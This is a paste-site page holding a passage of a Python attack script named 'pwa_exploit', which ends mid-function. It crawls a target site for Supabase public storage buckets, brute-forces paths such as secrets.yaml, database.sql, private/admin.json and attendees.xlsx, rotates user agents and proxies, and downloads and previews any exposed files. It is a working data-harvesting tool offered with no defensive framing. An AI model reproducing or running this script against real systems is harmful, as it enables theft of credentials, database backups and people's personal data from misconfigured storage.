Archives
Trending
Support
Login
clear text
XML
Django
JavaScript
MATLAB
C
C++
C#
Python
SQL
Shell
Bash
Markdown
YAML
JSON
HTML
CSS
PHP
Java
Ruby
Go
Rust
Swift
Kotlin
Arduino
TypeScript
Perl
Autohotkey
Lua
SQF
R
Scala
Haskell
Groovy
Dart
Clojure
VB.NET
Objective-C
PowerShell
Bash
CoffeeScript
Verilog
import json import requests import os import time import hashlib import re import asyncio import aiohttp from urllib.parse import urlparse, urljoin import argparse from datetime import datetime import mimetypes import itertools from pathlib import Path import concurrent.futures import subprocess import random import zipfile try: from tqdm import tqdm except ImportError: tqdm = lambda x, **kwargs: x try: import PyPDF2 except ImportError: PyPDF2 = None try: from PIL import Image except ImportError: Image = None OUTPUT_DIR = os.path.expanduser("~/storage/shared/pwa_exploit_downloads") REPORT_FILE = os.path.expanduser("~/storage/shared/pwa_exploit_report.json") CSV_FILE = os.path.expanduser("~/storage/shared/pwa_exploit_report.csv") HTML_FILE = os.path.expanduser("~/storage/shared/pwa_exploit_report.html") LOG_FILE = os.path.expanduser("~/storage/shared/pwa_exploit.log") ERROR_LOG = os.path.expanduser("~/storage/shared/pwa_exploit_errors.log") CONFIG_FILE = os.path.expanduser("~/storage/shared/pwa_exploit_config.json") TIMEOUT = 15 MAX_ATTEMPTS = 500 RATE_LIMIT_DELAY = 0.5 MAX_RETRIES = 3 MAX_WORKERS = 2 ALLOWED_FILE_TYPES = ['image/jpeg', 'image/png', 'image/webp', 'application/pdf', 'application/json', 'application/zip', 'text/plain', 'text/csv'] ALLOWED_EXTENSIONS = ['.jpg', '.jpeg', '.png', '.webp', '.pdf', '.json', '.zip', '.txt', '.csv'] MAX_FILE_SIZE = 5 * 1024 * 1024 USER_AGENTS = [ 'Mozilla/5.0 (Linux; Android 10; SM-G960F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.120 Mobile Safari/537.36', 'Mozilla/5.0 (X11; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36' ] async def async_get(url, proxy=None, timeout=TIMEOUT): try: async with aiohttp.ClientSession(headers={'User-Agent': random.choice(USER_AGENTS)}) as session: if proxy: session.connector = aiohttp.TCPConnector(ssl=False) if proxy.startswith('http://') else None response = await session.get(url, proxy=proxy, timeout=timeout) else: response = await session.get(url, timeout=timeout) response.raise_for_status() return await response.text(), response.headers.get('content-type', 'unknown'), response.status except: return None, None, None def log_message(message, verbose=False, quiet=False): if not quiet: print(message) with open(LOG_FILE, 'a') as f: f.write(f"{datetime.utcnow().strftime('%Y-%m-%d %H:%M:%S UTC')} - {message.replace('\033[0m', '').replace('\033[31m', '').replace('\033[32m', '').replace('\033[33m', '').replace('\033[36m', '')}\n") def log_error(message): with open(ERROR_LOG, 'a') as f: f.write(f"{datetime.utcnow().strftime('%Y-%m-%d %H:%M:%S UTC')} - {message}\n") def check_termux_storage(): try: subprocess.run(["termux-setup-storage"], shell=True, check=False) time.sleep(2) shared_dir = os.path.expanduser("~/storage/shared") if os.path.exists(shared_dir) and os.access(shared_dir, os.W_OK): return shared_dir home_dir = os.path.expanduser("~/") if os.access(home_dir, os.W_OK): return home_dir raise Exception("No writable directory found") except Exception as e: log_error(f"Storage check failed: {e}") return os.path.expanduser("~/") def notify_termux(message): try: subprocess.run(["termux-toast", message], check=False) except: pass def get_free_space(path): try: stat = os.statvfs(path) return stat.f_bavail * stat.f_frsize except: return float('inf') def sanitize_filename(filename): invalid_chars = '<>:"/\\|?*' for char in invalid_chars: filename = filename.replace(char, '_') return filename[:255] def clean_storage(output_dir, quiet=False, ultra_low_memory=False): if ultra_low_memory: return if get_free_space(output_dir) < MAX_FILE_SIZE * 2: log_message("\033[33m[*] Low storage detected, cleaning up ⏳\033[0m", quiet=quiet) try: for f in os.listdir(output_dir): try: os.remove(os.path.join(output_dir, f)) except: pass log_message("\033[32m[+] Storage cleaned successfully ✅\033[0m", quiet=quiet) notify_termux("Storage cleaned") except Exception as e: log_error(f"Storage cleanup failed: {e}") log_message("\033[31m[-] Failed to clean storage ❌\033[0m", quiet=quiet) def load_config(): default_config = { 'timeout': TIMEOUT, 'max_attempts': MAX_ATTEMPTS, 'max_file_size': MAX_FILE_SIZE, 'allowed_extensions': ALLOWED_EXTENSIONS, 'wordlist': ['public', 'assets', 'speakers', 'backups', 'data', 'cfp', 'tickets', 'sponsors', 'workshops', 'archive'] } try: if os.path.exists(CONFIG_FILE): with open(CONFIG_FILE, 'r') as f: return json.load(f) with open(CONFIG_FILE, 'w') as f: json.dump(default_config, f, indent=2) return default_config except: return default_config async def discover_manifest(domain, proxy=None, verbose=False, quiet=False): try: text, _, _ = await async_get(domain, proxy) if not text: log_message("\033[31m[-] Failed to fetch domain for manifest discovery ❌\033[0m", verbose, quiet) return None manifest_url = re.search(r'
]+rel=["\']manifest["\'][^>]+href=["\'](.*?)["\']', text) if manifest_url: manifest_url = urljoin(domain, manifest_url.group(1)) log_message(f"\033[32m[+] Discovered manifest: {manifest_url} ✅\033[0m", verbose, quiet) return manifest_url for path in ['/manifest.json', '/app.webmanifest', '/site.webmanifest']: url = urljoin(domain, path) text, content_type, status = await async_get(url, proxy) if status == 200 and content_type.startswith('application'): log_message(f"\033[32m[+] Discovered manifest: {url} ✅\033[0m", verbose, quiet) return url log_message("\033[31m[-] No manifest found on domain ❌\033[0m", verbose, quiet) return None except Exception as e: log_error(f"Manifest discovery failed: {e}") log_message(f"\033[31m[-] Error discovering manifest: {e} ❌\033[0m", verbose, quiet) return None async def parse_manifest(manifest_path_or_url, proxy=None, verbose=False, quiet=False): try: if manifest_path_or_url.startswith('http'): text, content_type, status = await async_get(manifest_path_or_url, proxy) if status != 200 or not content_type.startswith('application'): raise Exception("Invalid manifest response") manifest_data = json.loads(text) else: with open(manifest_path_or_url, 'r') as f: manifest_data = json.load(f) icons = [icon['src'] for icon in manifest_data.get('icons', []) if 'src' in icon] log_message(f"\033[32m[+] Found {len(icons)} icon(s) ✅\033[0m", verbose, quiet) return icons, manifest_data.get('start_url', '') except Exception as e: log_error(f"Manifest parsing failed: {e}") log_message(f"\033[31m[-] Error parsing manifest: {e} ❌\033[0m", verbose, quiet) return [], '' async def crawl_parent_domain(domain, proxy=None, verbose=False, quiet=False): try: urls = set([domain]) supabase_urls = set() visited = set() depth = 0 while urls and depth < 2: current_urls = list(urls) urls.clear() depth += 1 log_message(f"\033[33m[*] Crawling {domain} at depth {depth}/2... ⏳\033[0m", verbose, quiet) tasks = [async_get(url, proxy) for url in current_urls if url not in visited] for future in asyncio.as_completed(tasks): text, content_type, _ = await future if not text: continue url = current_urls[tasks.index(future)] visited.add(url) if content_type.startswith('text/html'): links = re.findall(r'href=["\'](.*?)["\']', text) + re.findall(r'src=["\'](.*?)["\']', text) for link in links: if link.startswith('http') or link.startswith('/'): new_url = urljoin(domain, link) if domain in new_url and new_url not in visited: urls.add(new_url) matches = re.findall(r'https?://[a-z0-9]+\.supabase\.co/storage/v1/object/public/[^"\s>]+', text) supabase_urls.update(matches) log_message(f"\033[32m[+] Found {len(matches)} Supabase URLs in {url} ✅\033[0m", verbose, quiet) for path in ['/robots.txt', '/sitemap.xml']: url = urljoin(domain, path) if url in visited: continue text, _, _ = await async_get(url, proxy) if text: visited.add(url) if path == '/robots.txt': urls.update(urljoin(domain, line.split(': ')[1]) for line in text.split('\n') if line.startswith('Allow:') or line.startswith('Sitemap:')) elif path == '/sitemap.xml': urls.update(re.findall(r'
(.*?)
', text)) log_message(f"\033[32m[+] Found {len(urls)} URLs from {url} ✅\033[0m", verbose, quiet) return supabase_urls except Exception as e: log_error(f"Parent domain crawling failed: {e}") log_message(f"\033[31m[-] Error crawling parent domain: {e} ❌\033[0m", verbose, quiet) return set() async def is_publicly_accessible(url, proxy=None): for attempt in range(MAX_RETRIES): try: async with aiohttp.ClientSession(headers={'User-Agent': random.choice(USER_AGENTS)}) as session: if proxy: session.connector = aiohttp.TCPConnector(ssl=False) if proxy.startswith('http://') else None response = await session.head(url, allow_redirects=True, proxy=proxy, timeout=TIMEOUT) else: response = await session.head(url, allow_redirects=True, timeout=TIMEOUT) if response.status == 200: content_type = response.headers.get('content-type', 'unknown') content_length = int(response.headers.get('content-length', 0)) if content_length > MAX_FILE_SIZE or not any(url.lower().endswith(ext) for ext in ALLOWED_EXTENSIONS): return False, None return True, content_type return False, None except Exception as e: log_error(f"Accessibility check failed for {url}: {e}") await asyncio.sleep(RATE_LIMIT_DELAY * (2 ** attempt) * random.uniform(0.8, 1.2)) return False, None def extract_bucket_info(supabase_url): parsed = urlparse(supabase_url) path_parts = parsed.path.strip('/').split('/') if len(path_parts) >= 4 and path_parts[0] == 'storage' and path_parts[1] == 'v1' and path_parts[2] == 'object': project_ref = parsed.netloc.split('.')[0] bucket = path_parts[3] prefix = '/'.join(path_parts[4:]) if len(path_parts) > 4 else '' return project_ref, bucket, prefix return None, None, None def generate_common_paths(config): base_paths = [ 'index.html', 'manifest.json', 'sw.js', 'robots.txt', 'logo.png', 'icon.svg', 'banner.jpg', 'favicon.ico', 'config.json', 'secrets.yaml', 'backup.zip', 'database.sql', 'public/avatars/avatar.jpg', 'private/admin.json', 'assets/schedule.pdf', 'speakers/bios.txt', 'tickets.csv' ] dynamic_paths = [f"img_{i}.{ext}" for i in range(1, 25) for ext in config['allowed_extensions']] conference_paths = [f"assets/conference_{year}.pdf" for year in range(2020, 2030)] + [ f"speakers/speaker_{i}.jpg" for i in range(1, 30) ] + ['cfp_submissions.zip', 'attendees.xlsx', 'schedule.json', 'event_logo.png', 'sponsors.pdf', 'workshops.pdf', 'keynote.pptx', 'badges.pdf'] dir_brute = [f"{prefix}/" for prefix in config['wordlist'] + ['events', '2025', 'uploads', 'private']] return base_paths + dynamic_paths + conference_paths + dir_brute def calculate_file_hash(file_path): sha256 = hashlib.sha256() try: with open(file_path, 'rb') as f: for chunk in iter(lambda: f.read(4096), b''): sha256.update(chunk) return sha256.hexdigest() except: return 'unknown' def extract_file_content(file_path, content_type, low_memory, ultra_low_memory): if low_memory or ultra_low_memory: return 'Skipped due to low-memory mode' try: if content_type == 'application/pdf' and PyPDF2: with open(file_path, 'rb') as f: pdf = PyPDF2.PdfReader(f) text = ''.join(page.extract_text() or '' for page in pdf.pages[:2]) return text[:500] or 'No text extracted' elif content_type in ['image/jpeg', 'image/png', 'image/webp'] and Image: with Image.open(file_path) as img: return f"Image metadata: {img.format}, {img.size}, {img.mode}" elif content_type in ['text/plain', 'text/csv', 'application/json']: with open(file_path, 'r', errors='ignore') as f: return f.read(500) return 'No content extracted' except Exception as e: log_error(f"Content extraction failed for {file_path}: {e}") return 'Error extracting content' async def download_file(url, output_dir=OUTPUT_DIR, proxy=None, verbose=False, quiet=False, low_memory=False, ultra_low_memory=False, test=False): if test or ultra_low_memory: log_message(f"\033[32m[+] Simulated download: {url} ✅\033[0m", verbose, quiet) return {'url': url, 'file': 'simulated', 'size': 0, 'type': 'unknown', 'hash': 'unknown', 'content_preview': 'simulated'} try: if get_free_space(output_dir) < MAX_FILE_SIZE: clean_storage(output_dir, quiet, ultra_low_memory) log_message(f"\033[31m[-] Insufficient storage in {output_dir} ❌\033[0m", verbose, quiet) return None os.makedirs(output_dir, exist_ok=True, mode=0o755) filename = os.path.join(output_dir, sanitize_filename(os.path.basename(urlparse(url).path))) for attempt in range(MAX_RETRIES): try: async with aiohttp.ClientSession(headers={'User-Agent': random.choice(USER_AGENTS)}) as session: if proxy: session.connector = aiohttp.TCPConnector(ssl=False) if proxy.startswith('http://') else None response = await session.get(url, proxy=proxy, timeout=TIMEOUT) else: response = await session.get(url, timeout=TIMEOUT) response.raise_for_status() content_type = response.headers.get('content-type', 'unknown') if content_type not in ALLOWED_FILE_TYPES or not any(url.lower().endswith(ext) for ext in ALLOWED_EXTENSIONS): log_message(f"\033[31m[-] Invalid file type: {url} ({content_type}) ❌\033[0m", verbose, quiet) return None total_size = 0 with open(filename, 'wb') as f: async for chunk in response.content.iter_chunked(8192): if total_size + len(chunk) > MAX_FILE_SIZE: log_message(f"\033[31m[-] File too large: {url} ❌\033[0m", verbose, quiet) return None f.write(chunk) total_size += len(chunk) file_hash = calculate_file_hash(filename) content_preview = extract_file_content(filename, content_type, low_memory, ultra_low_memory) log_message(f"\033[32m[+] Downloaded: {filename} (Size: {total_size} bytes, Type: {content_type}, SHA-256: {file_hash[:16]}...) ✅\033[0m", verbose, quiet) log_message(f"\033[36m Content preview: {content_preview[:100]}...\033[0m", verbose, quiet) return {'url': url, 'file': filename, 'size': total_size, 'type': content_type, 'hash': file_hash, 'content_preview': content_preview} except Exception as e: log_error(f"Download attempt {attempt + 1} failed for {url}: {e}") log_message(f"\033[31m[-] Download attempt {attempt + 1} failed for {url}: {e} ❌\033[0m", verbose, quiet) await asyncio.sleep(RATE_LIMIT_DELAY * (2 ** attempt) * random.uniform(0.8, 1.2)) log_message(f"\033[31m[-] Failed to download {url} after {MAX_RETRIES} attempts ❌\033[0m", verbose, quiet) return None except Exception as e: log_error(f"Download failed for {url}: {e}") log_message(f"\033[31m[-] Error downloading {url}: {e} ❌\033[0m", verbose, quiet) return None async def parallel_enumerate(urls, project_ref, bucket, proxy, verbose, quiet, no_progress, low_memory, ultra_low_memory, test): found_files = [] iterator = urls if no_progress else tqdm(urls, desc="Enumerating paths") tasks = [is_publicly_accessible(url, proxy) for url in iterator] for future in asyncio.as_completed(tasks): url = iterator[tasks.index(future)] if no_progress else next(itertools.islice(iterator, tasks.index(future), None)) accessible, content_type = await future await asyncio.sleep(RATE_LIMIT_DELAY * random.uniform(0.8, 1.2)) if accessible and content_type in ALLOWED_FILE_TYPES: path = url.replace(f"https://{project_ref}.supabase.co/storage/v1/object/public/{bucket}/", "") found_files.append((url, path, content_type)) log_message(f"\033[32m[+] Exposed file: {url} (Type: {content_type}) ✅\033[0m", verbose, quiet) else: log_message(f"\033[31m[-] Not accessible or invalid type: {url} ❌\033[0m", verbose, quiet) if len(found_files) >= load_config()['max_attempts']: break return found_files async def recursive_crawl(base_url, project_ref, bucket, prefix, proxy, verbose, quiet, no_progress, low_memory, ultra_low_memory, test): found_files = [] directories = set([prefix]) if prefix else set(['']) visited = set() depth = 0 config = load_config() while directories and depth < 3: current_dirs = list(directories) directories.clear() depth += 1 log_message(f"\033[33m[*] Crawling depth {depth}/3 with {len(current_dirs)} directories... ⏳\033[0m", verbose, quiet) for dir_path in current_dirs: paths = generate_common_paths(config) urls = [urljoin(f"https://{project_ref}.supabase.co/storage/v1/object/public/{bucket}/", f"{dir_path}/{path}" if dir_path else path) for path in paths] found_files.extend(await parallel_enumerate(urls, project_ref, bucket, proxy, verbose, quiet, no_progress, low_memory, ultra_low_memory, test)) for url, path, content_type in found_files: if not any(path.endswith(ext) for ext in config['allowed_extensions']): directories.add(path) visited.add(path) if len(found_files) >= config['max_attempts']: log_message(f"\033[31m[!] Reached max attempts, stopping enumeration ❌\033[0m", verbose, quiet)
Mark as private (unlisted)
for 30 minutes
for 6 hours
for 1 day
for 1 week
for 1 month
for 1 year
everlasting (like CCCP)